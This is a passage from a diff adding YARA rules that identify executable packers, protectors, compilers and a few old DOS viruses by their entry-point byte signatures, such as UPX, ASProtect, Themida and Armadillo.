+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_122__123_Beta_21__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASProtect 1.22 - 1.23 Beta 21 -> Solodovnikov Alexey"
+	strings:
+		$0 = {68 01 E0 46 00 E8 01 00 00 00 C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_v2018_
+{
+	meta:
+		description = "Inno Setup Module v2.0.18"
+	strings:
+		$0 = {55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 73 71 FF FF E8 DA 85 FF FF E8 81 A7 FF FF E8 C8}
+	condition:
+		$0
+}
+rule _UPX__wwwupxsourceforgenet_
+{
+	meta:
+		description = "UPX -> www.upx.sourceforge.net"
+	strings:
+		$0 = {60 BE ?? ?? ?? 00 8D BE ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1341__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.4.1 -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 2A 00 00 00 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 21 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 02 ?? ?? E8 C3 27 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_NcuLi1688_
+{
+	meta:
+		description = "Vx: Ncu-Li.1688"
+	strings:
+		$0 = {0E 1E B8 55 AA CD 21 3D 49 4C 74 ?? 0E 0E 1F 07 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_V10b__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector V1.0b -> Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00 00 00 EB 01 ?? AC}
+	condition:
+		$0 at entrypoint
+}
+rule _VPacker__ttui_
+{
+	meta:
+		description = "VPacker -> ttui"
+	strings:
+		$0 = {89 C6 C7 45 E0 01 00 00 00 F7 03 00 00 FF FF 75 18 0F B7 03 50 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 EB 13 53 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 83 C7 04 FF 45 E0 4E 75 C4 8B F3 83 3E 00 75 88 8B 45 E4 8B 40 10 03 45 DC 8B 55 14 83 C2 20 89 02 68 00 80 00 00 6A 00 8B 45 D4 50 FF 55 EC 8B 55 DC 8B 42 3C 03 45 DC 83 C0 04 8B D8 83 C3 14 8D 45 E0 50 6A 40 68 00 10 00 00 52 FF 55 E8 8D 43 60}
+		$1 = {89 C6 C7 45 E0 01 00 00 00 F7 03 00 00 FF FF 75 18 0F B7 03 50 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 EB 13 53 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 83 C7 04 FF 45 E0 4E 75 C4 8B F3 83 3E 00 75 88 8B 45 E4 8B 40 10 03 45 DC 8B 55 14 83 C2 20 89 02 68 00 80 00 00 6A 00 8B 45 D4 50 FF 55 EC 8B 55 DC 8B 42 3C 03 45 DC 83 C0 04 8B D8 83 C3 14 8D 45 E0 50 6A 40 68 00 10 00 00 52 FF 55 E8 8D 43 60}
+		$2 = {89 C6 C7 45 E0 01 00 00 00 F7 03 00 00 FF FF 75 18 0F B7 03 50 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 EB 13 53 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 83 C7 04 FF 45 E0 4E 75 C4 8B F3 83 3E 00 75 88 8B 45 E4 8B 40 10 03 45 DC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PECompact_25x__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact 2.5x -> Jeremy Collake"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? FF E0}
+	condition:
+		$0 at entrypoint
+}
+rule _Cracked_by_Autohack_2_
+{
+	meta:
+		description = "Cracked by Autohack (2)"
+	strings:
+		$0 = {0E 1F B4 09 BA ?? ?? CD 21 FA 8E 06 ?? ?? BE ?? ?? 8B 0E ?? ?? 83 F9}
+	condition:
+		$0 at entrypoint
+}
+rule _nSpack_V2x__LiuXingPing_
+{
+	meta:
+		description = "nSpack V2.x -> LiuXingPing"
+	strings:
+		$0 = {6E 73 70 61 63 6B 24 40}
+		$1 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Upack_V024V028__Dwing____20080321_
+{
+	meta:
+		description = "Upack V0.24-V0.28 -> Dwing   * 20080321"
+	strings:
+		$0 = {BE ?? ?? ?? ?? AD 8B F8 95 AD 91 F3 A5 AD ?? ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF ?? ?? ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 01 E3 29 8B D7 2B 55 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 56 08 33 C9 FF 66 24 B1 30 8B 5D 0C 03 D1 FF 16 73 4B 03 D1 FF 16 72 19 03 D1 FF 16 72 29 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 45 0C 8A 00 FF 66 20 83 C2 60 FF 16 87 5D 10 73 0C 03 D1 FF 16 87 5D 14 73 03 87 5D 18 3C 07 B0 08 72 02 B0 0B 50 53 8B D5 03 56 14 FF 56 0C 5B 91 FF 66 3C 07 B0 07 72 02 B0 0A 50 87 5D 10 87 5D 14 89 5D 18 8B D5 03 56 18 FF 56 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v042_
+{
+	meta:
+		description = "tElock v0.42"
+	strings:
+		$0 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 52 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08}
+		$1 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 52 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MSLRH_032a_fake_ASPack_212__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake ASPack 2.12) -> emadicius"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 73 00 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B}
+		$1 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 A0 02 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Unknown_SFX_Archive_aWAW_
+{
+	meta:
+		description = "Unknown SFX Archive (aWAW)"
+	strings:
+		$0 = {61 57 41 57}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Virtualization_Suite_V3348V3350__Thinstall_Company____20080318_
+{
+	meta:
+		description = "Thinstall Virtualization Suite V3.348-V3.350 -> Thinstall Company   * 20080318"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 59 19 00 00 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 AC 00 00 00 E8 2C FF FF FF E9 ?? FF FF FF CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 C3 B9 08 00 00 00 E8 01 00 00 00 C3 33 C0 E8 E1 FF FF FF 13 C0 E2 F7 C3 33 C9 41 E8 D4 FF FF FF 13 C9 E8 CD FF FF FF 72 F2 C3 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _BJFnt_v11b_
+{
+	meta:
+		description = ".BJFnt v1.1b"
+	strings:
+		$0 = {EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 60 E8 03 ?? ?? ?? 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 EB 01 83 9C EB 01 D5 EB 08 35 9D EB 01 89 EB 03 0B EB F7 E8 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 59 83 01 01 80 39 5C 75 F2 33 C4 74 0C 23 C4 0B C4 C6 01 59 C6 01 59 EB E2 90 E8 44 14 ?? ?? 8D 85 CF 13 ?? ?? C7 ?? ?? ?? ?? ?? E8 61 0E ?? ?? E8 2E 14 ?? ?? 8D 85 E4 01 ?? ?? 50 E8 E2 15 ?? ?? 83 BD 23 01 ?? ?? 01 75 07 E8 21 0D ?? ?? EB 09 8D 85 CF 13 ?? ?? 83 08 01 83 BD 1F 01 ?? ?? 01 75 07 E8 3E 0C ?? ?? EB 05 E8 A8 0C ?? ?? E8 B3 02 ?? ?? 8D 85 63 02 ?? ?? 50 E8 A3 15 ?? ?? 8D 85 F5 02 ?? ?? 50 E8 97 15 ?? ?? E8 E2 01 ?? ?? 8D 85 09 05 ?? ?? 50 E8 86 15 ?? ?? 8D 85 F8 0F ?? ?? 50 E8 7A 15 ?? ?? 8D 85 88 0F ?? ?? 50 E8}
+		$1 = {EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v252b2_
+{
+	meta:
+		description = "Armadillo v2.52b2"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B0 ?? ?? ?? 68 60 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 24}
+		$1 = {55 8B EC 6A FF 68 B0 ?? ?? ?? 68 60 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 24}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Adys_Glue_110_
+{
+	meta:
+		description = "Ady's Glue 1.10"
+	strings:
+		$0 = {2E ?? ?? ?? ?? 0E 1F BF ?? ?? 33 DB 33 C0 AC}
+		$1 = {2E ?? ?? ?? ?? 0E 1F BF ?? ?? 33 DB 33 C0 AC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Krypton_v03__yadolockless_
+{
+	meta:
+		description = "Krypton v0.3 -> yado/lockless"
+	strings:
+		$0 = {8B 0C 24 E9 C0 8D 01 00 C1 3A 6E CA 5D 7E 79 6D B3 64 5A 71 EA}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_Neolite_20__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake Neolite 2.0) -> emadicius"
+	strings:
+		$0 = {E9 A6 00 00 00 B0 7B 40 00 78 60 40 00 7C 60 40 00 00 00 00 00 B0 3F 00 00 12 62 40 00 4E 65 6F 4C 69 74 65 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 43 6F 6D 70 72 65 73 73 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 38 2C 31}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cue_V80_
+{
+	meta:
+		description = "Microsoft Visual Cue V8.0"
+	strings:
+		$0 = {6A 14 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BB 94 00 00 00 53 6A 00 8B ?? ?? ?? ?? ?? FF D7 50 FF ?? ?? ?? ?? ?? 8B F0 85 F6 75 0A 6A 12 E8 ?? ?? ?? ?? 59 EB 18 89 1E 56 FF ?? ?? ?? ?? ?? 56 85 C0 75 14 50 FF D7 50 FF ?? ?? ?? ?? ?? B8}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Virtualization_Suite_30xx__Jitit_Software_
+{
+	meta:
+		description = "Thinstall Virtualization Suite 3.0xx -> Jitit Software"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 00 00 00 01 68 00 ?? 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4}
+	condition:
+		$0 at entrypoint
+}
+rule _Virogen_Crypt_v075__Virogen_
+{
+	meta:
+		description = "Virogen Crypt v0.75 -> Virogen"
+	strings:
+		$0 = {9C 55 E8 EC 00 00 00 87 D5 5D 60 87 D5 80 BD 15 27 40 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_100_Eng__dulekxt_
+{
+	meta:
+		description = "FSG 1.00 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38}
+	condition:
+		$0 at entrypoint
+}
+rule _CRK_Compiler_120_
+{
+	meta:
+		description = "CRK Compiler 1.20"
+	strings:
+		$0 = {2F 4D 47 2F EB 04 00 00 00 00 C8 08 00 00 E8 00 00 0E 07 C6 46 FE 00 E8 00 00 E8 00 00 8B 0E 00 00 E3 02 EB 03 E9 D4 00 2B C0 89 46 F8 B8 00 00 89 46 FC C7 46 FA 00 00 51 BA 00 00 F6 06 00 07 01 74 03 BA 00 00 E8 B5 00 8B 56 FC BB 0F 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_106b__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASPack 1.06b -> Solodovnikov Alexey"
+	strings:
+		$0 = {90 75 00 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V18XV19X_Other__Oreans_Technologies__20080131_
+{
+	meta:
+		description = "Themida/WinLicense V1.8.X-V1.9.X Other -> Oreans Technologies * 20080131"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D ?? ?? ?? ?? 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3 ?? 39 1A 74 07 2D ?? ?? ?? ?? EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 58}
+	condition:
+		$0 at entrypoint
+}
+rule _HideProtect_V1016C_SoftWar_Company_
+{
+	meta:
+		description = "Hide&Protect V1.016C-> SoftWar Company"
+	strings:
+		$0 = {90 90 90 E9 D8}
+	condition:
+		$0 at entrypoint
+}
+rule _NoobyProtect_V1290__Nooby__20090218_
+{
+	meta:
+		description = "NoobyProtect V1.2.9.0 -> Nooby * 20090218"
+	strings:
+		$0 = {E9 ?? 00 00 00 4E 6F 6F 62 79 50 72 6F 74 65 63 74 20 53 45 20 31 2E 32 2E 39 2E 30}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_102__Ashkibiz_Danehlar_
+{
+	meta:
+		description = "yoda's Protector 1.02 -> Ashkibiz Danehlar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 35 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 BE 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 9C}
+		$1 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75}
+		$2 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3A 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 C3 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Alloy_v1x2000_
+{
+	meta:
+		description = "Alloy v1.x.2000"
+	strings:
+		$0 = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95 46 23 40 ?? 0B}
+		$1 = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95 46 23 40 ?? 0B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Borland_Delphi_vxx_Component_
+{
+	meta:
+		description = "Borland Delphi vx.x (Component)"
+	strings:
+		$0 = {C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6 EB 02 56 7B 2A D3 E8 01 00 00 00 ED 58 88 16 13 C3 46 EB 02 CD 20 4B EB 02 CD 20 2B C9 3B D9 75 A1 E8 02 00 00 00 D7 6B 58 EB 00 9E 96 6A 28 67 AB 69 54 03 3E 7F ?? ?? ?? 31 0D 63 44 35 38 37 18 87 9F 10 8C 37 C6 41 80 4C 5E 8B DB 60 4C 3A 28 08 30 BF 93 05 D1 58 13 2D B8 86 AE C8 58 16 A6 95 C5 94 03 33 6F FF 92 20 98 87 9C E5 B9 20 B5 68 DE 16 4A 15 C1 7F 72 71 65 3E A9 85 20 AF 5A 59 54 26 66 E9 3F 27 DE 8E 7D 34 53 61 F7 AF 09 29 5C F7 36 83 60 5F 52 92 5C D0 56 55 C9 61 7A FD EF 7E E8 70 F8 6E 7B EF}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_tElock_061__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake tElock 0.61) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 E9 00 00 00 00 60 E8 00 00 00 00 58 83 C0 08 F3 EB FF E0 83 C0 28 50 E8 00 00 00 00 5E B3 33 8D 46 0E 8D}
+		$1 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 E9 00 00 00 00 60 E8 00 00 00 00 58 83 C0 08 F3 EB FF E0 83 C0 28 50 E8 00 00 00 00 5E B3 33 8D 46 0E 8D 76 31 28 18 F8 73 00 C3 8B FE B9 3C 02}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_100b__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASPack 1.00b -> Solodovnikov Alexey"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 92 1A 44 00 B8 8C 1A 44 00 03 C5 2B 85 CD 1D 44 00 89 85 D9 1D 44 00 80 BD C4 1D 44}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_144_EXE_
+{
+	meta:
+		description = "XPack 1.44 [EXE]"
+	strings:
+		$0 = {8B EC EB 01 E8 B8 5A 03 FF E0 FA 33 C0 2E 21 06 01 01 8E D0 BC 10 00 2E 8F 06 9E 03 2E 8F 06 A3 03 EB 01 9A 0E BB 93 03 53 5F EB 01 9A 17 8B E5 FB 48 D1 E8 EB 01 9A CE 9A 9C EB 01 9A 59 80 CD 01 51 9D EB 01 9A 1E 33 DB 8E DB C7 47 10 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v11_BRS_
+{
+	meta:
+		description = "ASProtect v1.1 BRS"
+	strings:
+		$0 = {60 E9 ?? 05}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_113002006_Beta__NEOx_
+{
+	meta:
+		description = "nPack 1.1.300.2006 Beta -> NEOx"
+	strings:
+		$0 = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 9C 00 00 00 E8 2D 02 00 00 E8 DD 06 00 00 E8 2C 06 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35}
+		$1 = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 9C 00 00 00 E8 2D 02 00 00 E8 DD 06 00 00 E8 2C 06 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NakedPacker_10__by_BigBoote_
+{
+	meta:
+		description = "NakedPacker 1.0 - by BigBoote"
+	strings:
+		$0 = {60 FC 0F B6 05 34 ?? ?? ?? 85 C0 75 31 B8 50 ?? ?? ?? 2B 05 04 ?? ?? ?? A3 30 ?? ?? ?? A1 00 ?? ?? ?? 03 05 30 ?? ?? ?? A3 38 ?? ?? ?? E8 9A 00 00 00 A3 50 ?? ?? ?? C6 05 34 ?? ?? ?? 01 83 3D 50 ?? ?? ?? 00 75 07 61 FF 25 38 ?? ?? ?? 61 FF 74 24 04 6A 00 FF 15 44 ?? ?? ?? 50 FF 15 40 ?? ?? ?? C3 FF 74 24 04 6A 00 FF 15 44 ?? ?? ?? 50 FF 15 48 ?? ?? ?? C3 8B 4C 24 04 56 8B 74 24 10 57 85 F6 8B F9 74 0D 8B 54 24 10 8A 02 88 01}
+		$1 = {60 FC 0F B6 05 34 ?? ?? ?? 85 C0 75 31 B8 50 ?? ?? ?? 2B 05 04 ?? ?? ?? A3 30 ?? ?? ?? A1 00 ?? ?? ?? 03 05 30 ?? ?? ?? A3 38 ?? ?? ?? E8 9A 00 00 00 A3 50 ?? ?? ?? C6 05 34 ?? ?? ?? 01 83 3D 50 ?? ?? ?? 00 75 07 61 FF 25 38 ?? ?? ?? 61 FF 74 24 04 6A 00 FF 15 44 ?? ?? ?? 50 FF 15 40 ?? ?? ?? C3 FF 74 24 04 6A 00 FF 15 44 ?? ?? ?? 50 FF 15 48 ?? ?? ?? C3 8B 4C 24 04 56 8B 74 24 10 57 85 F6 8B F9 74 0D 8B 54 24 10 8A 02 88 01}
